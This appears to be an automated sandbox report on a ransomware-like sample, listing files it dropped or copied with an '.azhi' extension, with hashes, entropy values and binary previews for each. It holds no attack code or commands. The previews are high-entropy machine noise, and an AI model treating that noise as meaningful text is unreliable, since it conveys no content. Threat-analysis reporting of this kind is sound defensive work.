SHA-512:	4DE54BC3473EC7B0A2801A048BA8CEA489293A027F2BC14E7A7ABC33EBFA1FF98DCB2B97815FDC7F98F518B1E257C7D19EDA9F25AFD7AD19B685AE97369AECF0
Malicious:	false
Preview:	BPMLN..ds.Y....u.G%.P..GY.F'.:.."c.?.R..p\.U... W.....%c...K........I..CdtC..Bf.@.Y.3t.,..:...".a\.......x.t...].S\|&n?..d;'.3g.8.<i(.c....L..b4...g..<cf.oP.....g..t-...}........U.......C=U(..5EbmX...}$.I.e. ...z..z.F.Y(.k..K.....3.wa....S.G.N.}.MY....^.[. .+q-F.=.M..9..fO.&.y....&.....I0......%./C..0+.w.N....0r.[.Q>..M.i8k.a.l.Uu.X\..<............L..0B0<.+w&+._.z)u..../..bi....y......7F....x_......\k.....A...?G.Q....Qb.B....{...h...?..>:..k.../..K.O.s...[:1(....O.Q... .K.>{..O.O.7HM....(...4D...N..b.bkm.u.v.S,Y,.....R=.NW....\zE.:.M.]_!......1..B0...)..u.YW&..wh..pT.:-.Q.7{...c'..KPE..y#..n.?\|...r....&.H..L.BF2x.....[.b.6..9.u{...T?..n....>/.K...Q..b..:..... .bIG..].......9@g? .X.b.Nkv.\|.r.B.[F5.P..#...#3A.v@..f..e...#?..C...Jjj......b..Dp../...c.e..*.{...!.......l...Er."...3.9...q#...M..R...{...\|.H9..El../.dS..~.Ih..~.c.VIfF4/..~&t.,^..T.~.......B...r.eqy..6.]kMJIEq$....:=;!.'d....nQ..0s$."...^....H........l.V(e.,.,.oE.`.O.............j...\:.6...i

C:\Users\user\Documents\UMMBDNEQBN\BPMLNOBVSB.jpg.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837855982097274
Encrypted:	false
SSDEEP:	24:43Z7TA1Fp4pwwMr47ieK8+6DZJoghDh9uV+WJJr+cJ6AzdRrGsbbD:4J7TA1j4w5r4mN6bog9h9uAAwy6Y5fD
MD5:	1B8BBF24103CBE5F4BED5720D3E0F01F
SHA1:	067C7E1784D2568E4E37A1B34EAF239C1FA09FF4
SHA-256:	37B90F5058C29EDBFF5D2091385F3BA1F996729979E4F536B39B8FF77FA73BED
SHA-512:	4DE54BC3473EC7B0A2801A048BA8CEA489293A027F2BC14E7A7ABC33EBFA1FF98DCB2B97815FDC7F98F518B1E257C7D19EDA9F25AFD7AD19B685AE97369AECF0
Malicious:	false
Preview:	BPMLN..ds.Y....u.G%.P..GY.F'.:.."c.?.R..p\.U... W.....%c...K........I..CdtC..Bf.@.Y.3t.,..:...".a\.......x.t...].S\|&n?..d;'.3g.8.<i(.c....L..b4...g..<cf.oP.....g..t-...}........U.......C=U(..5EbmX...}$.I.e. ...z..z.F.Y(.k..K.....3.wa....S.G.N.}.MY....^.[. .+q-F.=.M..9..fO.&.y....&.....I0......%./C..0+.w.N....0r.[.Q>..M.i8k.a.l.Uu.X\..<............L..0B0<.+w&+._.z)u..../..bi....y......7F....x_......\k.....A...?G.Q....Qb.B....{...h...?..>:..k.../..K.O.s...[:1(....O.Q... .K.>{..O.O.7HM....(...4D...N..b.bkm.u.v.S,Y,.....R=.NW....\zE.:.M.]_!......1..B0...)..u.YW&..wh..pT.:-.Q.7{...c'..KPE..y#..n.?\|...r....&.H..L.BF2x.....[.b.6..9.u{...T?..n....>/.K...Q..b..:..... .bIG..].......9@g? .X.b.Nkv.\|.r.B.[F5.P..#...#3A.v@..f..e...#?..C...Jjj......b..Dp../...c.e..*.{...!.......l...Er."...3.9...q#...M..R...{...\|.H9..El../.dS..~.Ih..~.c.VIfF4/..~&t.,^..T.~.......B...r.eqy..6.]kMJIEq$....:=;!.'d....nQ..0s$."...^....H........l.V(e.,.,.oE.`.O.............j...\:.6...i

C:\Users\user\Documents\VLZDGUKUTZ\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861200505446563
Encrypted:	false
SSDEEP:	24:JkGqOR4iuyL296rJeBspSdviPs5zrwLTuoQbrmPB37/gS8ybD:lBpfroBxNkeUu3brqB7vD
MD5:	14CBFA23F8074B67893CF82E752CC976
SHA1:	06D19A24708B3F3CB7EF46DDA94C39EBE604607A
SHA-256:	1BAF1144B8E0B839A92049FB529ACE836B95C90452A12DCD2452C2D752B7C27A
SHA-512:	48FF1D9A4F4DED5513A363E0330AECDF527318F219020F0F095021A06A7C8697F6F63F93B24445BD6153F93B0168B8270E2A657E464FB3FF8AE04DD440CBA4AF
Malicious:	false
Preview:	NIKHQ..y..LU...Jl. $.4....-..u...<...O)...\.....6.a...(.^......'..T..>9..Ma...9.!.'.9..u..x..... \.`...N.{.(....\y.M.dOs......u".s..E["....\|.A^.E.......b...Y......f.....>..k.W.s.... ~kN^...?.Rgj.........h.u.[...8Q~..+....d."B..E..%(.k,.[.......t...XQ....f.....".d.>.l.....O...W.#(yg.6YG...._gk~.H.HL..m..Zm...$..j.1B...I.....c.e.:#.....Oe+rw....A..DG.li..E........1\|.3p....ts...h1.d.k..yV.9%}......v.Vm.H...&...D.......uZ....G..>.......e.f...y[..2Y........Y..$U.z.\|...;...5.r.9f`C...b....rX....%.t.......vK.i2....Zc...d....Z.....C.T.N.$Z.,.7~$.h.3.T......>.b....J?...<..l #fFAD.b)......X(....o.q{.......{...B.....GGS3.!^.Cl.Y.!.A.E.{..,..4_C..I..H.}\|.."fq.A:..g.Eg..:z.QM....p.{..#.q.......RQ...NN...v.Tv}u...dv....'.]..p.\|.......\GIZM\|U...f.............\V.\..k...{.......&.."..c....vB.r.W...*.e. .....F...z...n:...5u/>xu{........?...^M......qp^.....>&....W.{(...>.....'.5.7..Ql..<...X..dRN......N....9b...S7......J.vz....$..)...p.....8.^.....,&...Hf..+oV\.i^.v.

C:\Users\user\Documents\VLZDGUKUTZ\NIKHQAIQAU.png.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861200505446563
Encrypted:	false
SSDEEP:	24:JkGqOR4iuyL296rJeBspSdviPs5zrwLTuoQbrmPB37/gS8ybD:lBpfroBxNkeUu3brqB7vD
MD5:	14CBFA23F8074B67893CF82E752CC976
SHA1:	06D19A24708B3F3CB7EF46DDA94C39EBE604607A
SHA-256:	1BAF1144B8E0B839A92049FB529ACE836B95C90452A12DCD2452C2D752B7C27A
SHA-512:	48FF1D9A4F4DED5513A363E0330AECDF527318F219020F0F095021A06A7C8697F6F63F93B24445BD6153F93B0168B8270E2A657E464FB3FF8AE04DD440CBA4AF
Malicious:	false
Preview:	NIKHQ..y..LU...Jl. $.4....-..u...<...O)...\.....6.a...(.^......'..T..>9..Ma...9.!.'.9..u..x..... \.`...N.{.(....\y.M.dOs......u".s..E["....\|.A^.E.......b...Y......f.....>..k.W.s.... ~kN^...?.Rgj.........h.u.[...8Q~..+....d."B..E..%(.k,.[.......t...XQ....f.....".d.>.l.....O...W.#(yg.6YG...._gk~.H.HL..m..Zm...$..j.1B...I.....c.e.:#.....Oe+rw....A..DG.li..E........1\|.3p....ts...h1.d.k..yV.9%}......v.Vm.H...&...D.......uZ....G..>.......e.f...y[..2Y........Y..$U.z.\|...;...5.r.9f`C...b....rX....%.t.......vK.i2....Zc...d....Z.....C.T.N.$Z.,.7~$.h.3.T......>.b....J?...<..l #fFAD.b)......X(....o.q{.......{...B.....GGS3.!^.Cl.Y.!.A.E.{..,..4_C..I..H.}\|.."fq.A:..g.Eg..:z.QM....p.{..#.q.......RQ...NN...v.Tv}u...dv....'.]..p.\|.......\GIZM\|U...f.............\V.\..k...{.......&.."..c....vB.r.W...*.e. .....F...z...n:...5u/>xu{........?...^M......qp^.....>&....W.{(...>.....'.5.7..Ql..<...X..dRN......N....9b...S7......J.vz....$..)...p.....8.^.....,&...Hf..+oV\.i^.v.

C:\Users\user\Downloads\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857462388777605
Encrypted:	false
SSDEEP:	24://lyAzS8C1miYwFfpkUlMI+23CKqa5TVHhndYFUUrV4I6OObD://MohiYwFf9KIPyJatVLYFUUBlkD
MD5:	AA04FF1750E9C809A931BE5C162BECCB
SHA1:	AEAD124EA3F8AD6F34F4EE982222BEF84F1F45D3
SHA-256:	191814905464E5658FBD10C11E58D009804BDD484F808715A759BC8F2767C63A
SHA-512:	DA7623567E41AD9027333CB02D72BBF0F953BD4F6E0742B0B835413045424F7C99AFF563E75B53B05E5F98025AC091A0D476BCD32B6DD2C0744C6DE91277719D
Malicious:	false
Preview:	KZWFN{....~...\|..`J......&.~.c..K..;G.b^.3...\|.r.8U^....6....;8..C..E..M.........u-...$Y6,....o"....$...Ae.....`..x.l..2.3....q.g...3R.\|....:d..s.k.............3...B...'. .....>.x..G....Y..0.U...f4o.m.\......9.........G.xIx...g....J.....0S....\....'......a.j.....2..a[e..cmp#6...o....T.DwD.Y.k.GRjEJ.s.?]C\..i..6.>Q#.M.S...F\..A$..;3n......9..R[..\|..Mm(H:Q.._..\|lU.0).h...m.....b.O.-Y... .N4.qd`...D....,.)..I....B.V....el.j6..)s..7..FV43u.6w.......D+....iF!94.>!7{...}\>....h....:6;@.x......%.z.q...t..`....3.xk.....e....6;.........=.....N.d_...#.+M&O.m=jl..P...g.$_qn.+.......[....Q...2.".1G..Z\|.3.....~=....{@...l.../...?j}...z..q..../..~...;kJ%...9...#.j.l...OY.M.B.g.....dm...X...>C.02.(..........zt..\|.h/.{{;l4"Zzh...b.gF_..m..^uGI.zfJ.o.W.F....~-hC...[..........z.W'_..$<.e..'..6G......<7.EX..^....;{..=.p..ws>^.l........LO.2.j!..0M.....Z........ .>..;.iJHP=..%O.`.u..]..H...'=o....4.a.l"..T...d......l(....)..$.L....\Z....S...{..Z...

C:\Users\user\Downloads\KZWFNRXYKI.mp3.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857462388777605
Encrypted:	false
SSDEEP:	24://lyAzS8C1miYwFfpkUlMI+23CKqa5TVHhndYFUUrV4I6OObD://MohiYwFf9KIPyJatVLYFUUBlkD
MD5:	AA04FF1750E9C809A931BE5C162BECCB
SHA1:	AEAD124EA3F8AD6F34F4EE982222BEF84F1F45D3
SHA-256:	191814905464E5658FBD10C11E58D009804BDD484F808715A759BC8F2767C63A
SHA-512:	DA7623567E41AD9027333CB02D72BBF0F953BD4F6E0742B0B835413045424F7C99AFF563E75B53B05E5F98025AC091A0D476BCD32B6DD2C0744C6DE91277719D
Malicious:	false
Preview:	KZWFN{....~...\|..`J......&.~.c..K..;G.b^.3...\|.r.8U^....6....;8..C..E..M.........u-...$Y6,....o"....$...Ae.....`..x.l..2.3....q.g...3R.\|....:d..s.k.............3...B...'. .....>.x..G....Y..0.U...f4o.m.\......9.........G.xIx...g....J.....0S....\....'......a.j.....2..a[e..cmp#6...o....T.DwD.Y.k.GRjEJ.s.?]C\..i..6.>Q#.M.S...F\..A$..;3n......9..R[..\|..Mm(H:Q.._..\|lU.0).h...m.....b.O.-Y... .N4.qd`...D....,.)..I....B.V....el.j6..)s..7..FV43u.6w.......D+....iF!94.>!7{...}\>....h....:6;@.x......%.z.q...t..`....3.xk.....e....6;.........=.....N.d_...#.+M&O.m=jl..P...g.$_qn.+.......[....Q...2.".1G..Z\|.3.....~=....{@...l.../...?j}...z..q..../..~...;kJ%...9...#.j.l...OY.M.B.g.....dm...X...>C.02.(..........zt..\|.h/.{{;l4"Zzh...b.gF_..m..^uGI.zfJ.o.W.F....~-hC...[..........z.W'_..$<.e..'..6G......<7.EX..^....;{..=.p..ws>^.l........LO.2.j!..0M.....Z........ .>..;.iJHP=..%O.`.u..]..H...'=o....4.a.l"..T...d......l(....)..$.L....\Z....S...{..Z...

C:\Users\user\Local Settings\3d88f68d-5dbc-40f4-94a9-966076c7b722\build3.exe.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.702934391535998
Encrypted:	false
SSDEEP:	12:6ZwyWRvBzCHQgfXXEWwjrSCM/pE7xULBlHPbiRC7y6KcLK1DG5Ycii9a:NyAvBzCHQMnESZuS+RC7BqbD
MD5:	459A0A7F71A6BA890B74F91913E77484
SHA1:	86A5293E43FF140A67290F2955B1C737AD1960AE
SHA-256:	F212017EAEA02FAECDC32B1C788BF5B3D4A9A28764FF55E6028F8C6020B74AF6
SHA-512:	2660018548DD6D4BB3B958A30FEEB5499C5244CD4D09B52A1414D5D661B1A823552205B9498E02E816D780BC6B026945189382FB4EC00891B4DAF05BCDCE79F9
Malicious:	false
Preview:	<!DOCR,..K.%..V..&.. x.Xa=,,d.W....T......a0.{..p&../.....:E.....#.r...BMA..>ng$...p3...U..M...8.v...R......%+.>Ka.......5...I.c.q.\|."..t......d.:.7.%6.:.H.....+k.r.....J.......6f.5V.?...6=...8.'.C$...U.~=..u..l.U&.6.4...!.lY$......F..;..g..!.....gE..%...~.V..>c4.v.".6SZ........._..V..^v..~. ...v.+.....Y....;........f...:.1.N..4...V{d..>tF. .{'M.G......v-.~...w%F..;..i....z..h..i.p..^.a.t.Y.1.L.......'.[....,.gP.LSiV.E+..MH..1....2.....PuC.O..0.V.R.#....R..Q..'..G......yZ..8#.........hd...g....~.Zyn...U......4S.p.+..sEy.Unu2...._..10H=.,...F......]%.2.\.1yDbB8t.@3%0%S6P.:.......K ]....v@}...X..\|....a:N.....'E.T...c.)..2]..o...U+.\..T.#.Uo.R..+...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.874785646207282
Encrypted:	false
SSDEEP:	24:px6QVfmQk5/zSXwX68BeB3k3ZvI+4R3ydXX4MFw/NgfZHKTAG16lvbD:2QMb5/+XwXRBa6vIFE4DVA1KTAlBD
MD5:	73E0312ABE3C004B62C018E948047967
SHA1:	916786603436225A8B80EAC842D34D1A1146AC5D
SHA-256:	FC23EED1EE8E3A2898FC4BBD062E9682215439F867DB67DBE0571BC6C6485AE5
SHA-512:	C0D1073D08A6C5A67CC404928FA31D533CA1E41098C61FE16D4B2E41AF25CC85FC1D5B8230D5C9BD80F478C62D70B4DC8045C8CBEDE5F1C0E1C8F71F8408829B
Malicious:	false
Preview:	%!Ado....U.?A.G..}9..9.w.....9Z6...1.,lF........]3\e0n...w.9>../....+S..\|....^eJ...'.hI.U`.C"...n..W....z. .J....$"..L../t-R.$..?...?....3H. {..A.j......O....._ZC.6k.......i{....`...#h}.gW...?[p.Z.F.'~."....K.s.0>.'.,.h..t..k.P...5J.,G..6.M6\Im0&....B)r.......:.......l......J.......B._.........2.... ].71...dX..B.....<s...u...x........$.+...i..vk..>...%gKI.u1..G.qV;.....m.QN.g.Q...1f....#...z7.@9..b..zT....a& .....e\.tP.7.)..oa)..!v....y...+..o..@....\...(.<...e..+..F.f....Hc....T.I.ZV...B..n{B.Op...I.&j....E._v.[8..-.rN;.@n...G5aEM:......r. k..\..+.?.@..=:..Jj.T..../..Z..QN.....@.L....6...z..J.;.6~1...=.h@V.V.Db..G>......r.]%....T&F....kn.....WW.g..:..3..#...k.?~'........Z.O....}..L....>....\|`..J..7)j:.-....x...).[.....r..X>Ga.R.f..Y....p.....Tj...klg8......L.et.ec`.........a..P.../......3.U..).....[.......{C.x"..&w.s.~.....0.s......x3....G(..4.@......M../0.E....h..D..B...1..C.6......[.*.0J=...Gx.<@.....,.0Pf%#S.V......y,....l}!.;.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.874348578232525
Encrypted:	false
SSDEEP:	3072:iaslntr/YgRH5EMgc16MaNlSj4WbFWWorznahig5wiq6gyyi2J4KMrIaIXE07ZmO:iPh/HRH5DkNlW4OwWofa6B6gn3J4KMrK
MD5:	705B2F651899428B407930F05D9A5B00
SHA1:	FA98D5E39DBD947E2341FD8E261F1020A8D94663
SHA-256:	2E86FBA805508A699A7391372C0452796658AE6F3A6022159822B3EB42DE9C55
SHA-512:	A0935F80C8B8698CBA289EBEE2B3928BB843F09DB39FD586566C9E244A692780F587E178170F7A73F785AEE52A882F1F2360A07091844EC1CE02B770B9764E31
Malicious:	false
Preview:	%!Ador.D.,..L`FP%.$J.xB..(.W..5....>..........\a!f.z..>I$.....r.^W..V.uJ"Z<.p..{.F?....\.....iK.^...g?..Sp...I....ja.....Ok...}......@....~(.....`.v...R..1.j...2..........I.v..%n...?Ut'Irt`..\|B.G...PL sT@[>....c:...xU...\|[.m.=....-z.9zwC........._.hY..A.]..{".M/..r.....V.my{...3.3.......s,q...4....#^i.D./!P.tpY.A\|......%..Y8...c2.Vl.Y..J......D.Y...`..."@....c..zas.I....g.T.7....DI...E.9.E..jhQ..\|\...k.+........&..om{?I.[..Y...+.i.v!po..T..N0T..../...\|...pW......r.3..bg..n....<C%`..n.J}..?~...Q...!B..d...........+.....p.1..b.;.1...>c4.}.e].c8........@,..[y.........\..p'..;p....H.C.Hid"\.....i..._...K..$+K...1.@.Ii....;..Plp.\|.I..........0..%.J.eB..g`R{BK..(<.V.'R..S.............4.T.?.{)....g....[.... .<j2d.P....KO.O.qG.`.%......X..w...:(. Eg1.r.........5%/.>.B).}$..W.KatG...........NU.g.gC...r........3.J\|.3.g.w..d...n...:..........cr.;sz.km_..y.p....a".q.~.&.l..OENU.Z.x....A.....n.C....c.f.k.6..........L....N..\|Pl.....}r..Su..9...q..#.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.8197618454168545
Encrypted:	false
SSDEEP:	6144:ESNv9yyg6BuxBdi1rSsfnTcJ1SeYY0MhCn2:lNZf2BmBfTcJ1SeYYrhb
MD5:	5795DA61A3040E03F64B28A77EE0C8CC
SHA1:	F549B7D1C14DDE5B2B2890D7496EED6AEF959476
SHA-256:	4B01D8B6DC8EE1A04A5297B25A39637BCCD33FA481FB21018DBEEEAE51A6ABC4
SHA-512:	697814A27C6DB8696178E5470ED35A651CCEF87056A7F705263F62324A4D04FDFAB510082AE4ED385F5F173755241FEA3B5095BD38D2FDC4AF6783DED2FC40DB
Malicious:	false
Preview:	Adobet2...w}..G..~......J...P=.zVv.&...`.=.;.=h.S9ph......2...^....35.W".?.=...Q`.Pb..a.N.8c..6+..Z>7#...Z.......jW22.~s..:%.m...nv...88.D.....G.h2.#.....C:&.]JX... P4......tD.NM/..j..'..e...Z......V..~.5.6G.~......\|.3.i[.H....k.......ic.....>../"..E..Z....+...\..8.......L..&L...?Z...~3....0..j.F..TQ..>.wu..a..W......9.=..G..#e5..Ta...s..X..7o$....#C`vzW`b.5b......9.....!....f.nl.`^.XN.....,........q!...'.x...#....$#.....\~L.....\NE.....I...M....+l.3....3.BN...BI!]R...'..;>..Jp...Y.....kl=,.......C.P.....1f..._....VJ..G;#ML4.8Z.2..~d.8.F..~.R.s ..,..I..P......^..(....w..8....n!.....,.M.(e....#i...~.lyIruS.Q._..?(m.6r)...Jx).x.....Z..r...H..'....~.6...E..6.8..;......Y.{](#8GCn.T..........^..w.\|x.+n...8....\|..m..m.!..}{.....q...^...V5fi....`O.Dr.>z..n..En.....6.W.y@..\.......G.l..d.._- ..>..e....kR"y$.;...a(..c.....p.../.%...w..Go...A...+G...VN~t.q.jR..s..>..ejE.$.....,m.!....I....F..wggawg(..n..w....i..S.8...R.h........l.L.N......].@...

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997191382617
Encrypted:	true
SSDEEP:	1536:yiwwFCu/YxfGab69PDUinQsR55EGIw5+hzM0KiZP:yFSQoabODUinzR5mPw6oAP
MD5:	91380D36E6731C99CB0824D4A96439D9
SHA1:	7FFBCBA0A64016C48A12147F05277167AB30D2A8
SHA-256:	D0151032AE1D6B04D9E263E7A067CFF1298D0A6CE467D1EE9EB1DA6993EE12A6
SHA-512:	9375D15D2CC3A6FE0270914F99B5A4FAEF13879ED0115D5945CD04748E24C27CF2864D3CEB86AB2D60AB8DED0B13D24AF0AEA5742267E2ED40F5B223C36A09DC
Malicious:	true
Preview:	4.397)...H.z4XO.=....,.W...,.q#an.m..(g.."..m.!.....v.3.0#-33G..p0.g.........z..5/...z].d..-...y@.L...).2...w.q.....7..&.Z..2..yV...AR.......J.I.i...U....m.b@..7...CL.m..._."...(u.G...^t...K..0.>.;pM@.ZvNJ...j...(* N'.(<..a'?..:X..(B...C.:<}.......7...p ..#..i9g..9..V.;.}2....pGT.g.J....L...?...l.W..f...T....l..wxf...J....`Q.....,...4..Y..x.O.85..i...P............n.!..7nz..}rb}.<.....B.F....P.=.:U.fC}.......<.].3....>.P.T,&c..O+.u...0z.OM.*....4.E_.....-...)8.e1.CB.....m..@...h../-....a;...m...Av..FI.B.u.zI..[.K...u$.9.J\|!....RuN.....BR/F%.....0z.A..;.1g.."]...'....p....z$d.3....H>B...vE$....8++x.e..a.u."_$..\|4...zo.X.B<...b,.........v.....r.r.....9..F..0(^.nt...D....{;.....S...!.=.NX...?.\Lck.Y........j.qa"...b.m..n..f+.8...W=m.1)7@.....$.Y.0.C,..V.8.f..W...Ua'f..{F.....Cj\|.E..jE.Ir.n.0.n..=.=..........J..e0..'\N...G.b#..h..x...7.Nr.....U..%8o...@.-G!.x.....B%2AS.[./.2c.UG...=y..\|..<so.......Hh....8....._...5i/..l.EW..,U...!.5....Zc..,M.

C:\Users\user\Local Settings\Adobe\Color\ACECache11.lst.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.796416256433422
Encrypted:	false
SSDEEP:	24:m6U7UU+jFb3A1JX/mcbqmF+jJGWrJzQj/tF1avbD:S7+Zb3A/X/mnmFcJxJzQjT1azD
MD5:	63DEAE7E3274C4E4ECEE812887573553
SHA1:	FAEE7121909649BD33BCFC20FD3C7465870701E7
SHA-256:	D0C6328C759E4CBBF8AF869F59D2FC0FE7E058DDFE782280D34532CA4E9B7CAE
SHA-512:	E5019857C62C17DE1BBA0F83B89E76F1EE120468018576CA17114AD685A148CA1328CC04DF51A7E35D785F0786248EEAE87E9627B95357F181A6AC6861D97A7F
Malicious:	false
Preview:	CPSA.b......\|8.=..V.wOz.[.$....N.F.G5.5P.....J....P.....J...IB.tR.......@.;.ok...h..W.....f...u..H.0.h.9.f7.BCx.....`.. l.g.....%]......Ul.ep..n..8._.R.em...\|tr6.{.......Ck.TJQ.cXW.V;...s..k.[.f>.;. ..u0$L..........@..`...k..Q. ......=m7...c%.......6..OY..o.....V...+.2aD.#..D.....%..`...`'.I.]..._.......")...-..7.....N~5}Q.V6......-.w.J.N...m..J.!W...!..G...2....lF..@.G...,.;}C...D.....}.....h........3l.op..[.....K.N....$.yl...b.k.#.oj...f{.hn.._..M..h..c...T%..h4L...$......../.....<.:X..:._..k....nei..R.}$p..m......G.3.....2.c./...sE(..GM/H:....tJ,V..Z.+.g..V#.HW....&.g.&..W.?.Ii.L..{..+..S..{........*...:..Y>..B..SM..>.BG9.......g..K...\O..R.P.M.Q.8Y..:.........<bTG.R..Q.:..=.....{._..8.oq/#.w._S]...NN...2..C.j...8X;..b.....K.q.N..mh...%.N....J >.....%I..U........XZO.. .1'.m\|./..u...2.I.ax....Jyl..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jcp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97920306106064
Encrypted:	false
SSDEEP:	192:bvVlYRbfTGPUKGiuLnuAg5/r3xa3XjQOHrriH3fM+wK10:h+byXZAc3GjQKruXU+wk0
MD5:	D1A82DECF488E08DC09EFE4A6164C8FD
SHA1:	1617BCEDCE8D116344330E3117844AA07E8CA811
SHA-256:	88E40735815E78B3CE7A3BB64FB3FD153A43D2982C5857EDCF11760AA38E3245
SHA-512:	B654CADCC6DA5D90784F74192B28250AAD2C47686DF4BBA6365E4C1255683CDC199B7D0224959261728DD0E74524E78EB9329BEF92A00B553A48D01852565372
Malicious:	false
Preview:	.M.#..'.O.,ht.....:]1.ul..Y..l........Bj ..W..6.z%hl..<.c'."SB..x.\.....5...D6....~.t~......5;..`o,Q...^.3?..Z.#...5..6..u..]...x..Zj?..&,..J&...E.8R...?....K`....>'..b.g.h...Hc.A...xC....`f...\|..;..[....#O...^..75@.hH=x[:2......HJ#.F.....+..^n..`.&2........v#...x...e..&\|.37...1X%z......cU.).c.........,..h.......,.R...f.,....4w.......J.3..Rr..e)<x.w.....q.0.8..^?..q i0z..\|...%.]&.k.f......&+8.5.`...F..b..A^.4g..M...&A.._C-......r.......V.4.....qC..$F4.....kn...L..mE....1Z..]"(.....Q.]K.iw......v....4..K.....3mR..,...,....._8..63....I.61./......T-.2....7.....y.,#..sh..<......../..M...j.e..\mHU....b..tp.o.Lz2rh...C3._.EEpjf.....!:9..Z.FR.y...V...y...bS.~.....=!....na.....t^.....Z...`M..K..C.D..>.?....../gf\.....`q...rwX..w..0e.I....r..m........-=.W.=Y..........Sl~..b^.....6*....T.{.UL.Y..../...6....!-.R..YZ[Q.d.-.D...n&.s....Kd..l.I.[..\|8....eg.v....G...'TR.H.5..{D....Gq.eS.......c.d4...m..XK].WK8..Xn...R..5...qb.N...J.....Fe....$/.J".Ay

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7333233708728086
Encrypted:	false
SSDEEP:	6144:b9wTLkvlMPYaxL6QvSw1F1AKo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3TGXZAcby:b9IWMg4cXKfCdYSx
MD5:	EF2D0BC63379E9FC3DDE79F612234BDD
SHA1:	8F92E2CB7C19FFB8BBE53CD209BADCEA1E160C65
SHA-256:	CB39A4363C93598DA2297432B5A5AC4AFBA0413986F3398185BF70375CAE700E
SHA-512:	82F9A2E458785611EF90931A71F7B18FDA583A077D4CF5CADB7CFA7D95D7EB37FD7C127FE32DAD03119A86EBBEABF7428A1E71F77A321A5CE9023C43CC677BAA
Malicious:	false
Preview:	...?.:?0.......-.U...=...(..ZRx.(...+i........v..1g...P.-.....:.....].f..Uy..0...;1.IJ..;.=..k=....OWr@.)O.T.".yB...Yr....../.nc[......7.[.3.j.......i.&...9.Q+.X.?...Q.F..q....o..............R]...jJ.S.'.I.s.E..JO.....]W^z4U)...H<....&.aI.~.4t...S...o...Kd.R.#"...i..>.....ix@y.}....1..cT.K...n.M.......t.~..0....&....C../.....u.Ew.....6)./.Z.=8.V.......6,.$..w.Ht-.lK,}8....E....,...r...!.\|..-[..V7.$=.p.l..\|...@eX...Fa}.n^......,a.]...........L..M\w.>K...W.I..-..h.z..\|..x.Q.....F../......c..+...l.7........y.X..v ..H.9.o..H..u.......7..hh..Js..R.xg.....Y.q=z..2O.Uk<..z/..eod.CV}........q.:.....i6..=2$wi.`?$..n..c.'t....\...X.kx.'x#.En.7.L".;.....er3....x.....#.5:...3.&^.9 .2.=.[.}..V.V.{......a........\....pF..p{.e...Vf....U..`8=.{{..u0.........D......Si..<W.qP.J.I.i.<RWc.J._].~A...#.?. ..3KjY.W&p....cy.'(..:n....f.(.....;../Z.......x.5..l..z...t.P......c.._A(...{...6.X..!..=.J..Jd...4...V...1.T...VK..G..]'..".Nn1l[..T.k.....

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706319569103771
Encrypted:	false
SSDEEP:	6144:hSVrYw//7Lr8hT99yKqjQpCEfWC+zRA2y:heYw/zLoB99yNQpCE6Ra
MD5:	900D7C582D0AF325526E0A9D2F90E11F
SHA1:	D371806A063CA484F68697399807FB604714F2B0
SHA-256:	31AD2AD20EB19C93AA3C41B2EB0662F1758B98084133A030070C9C6ABFC7E41A
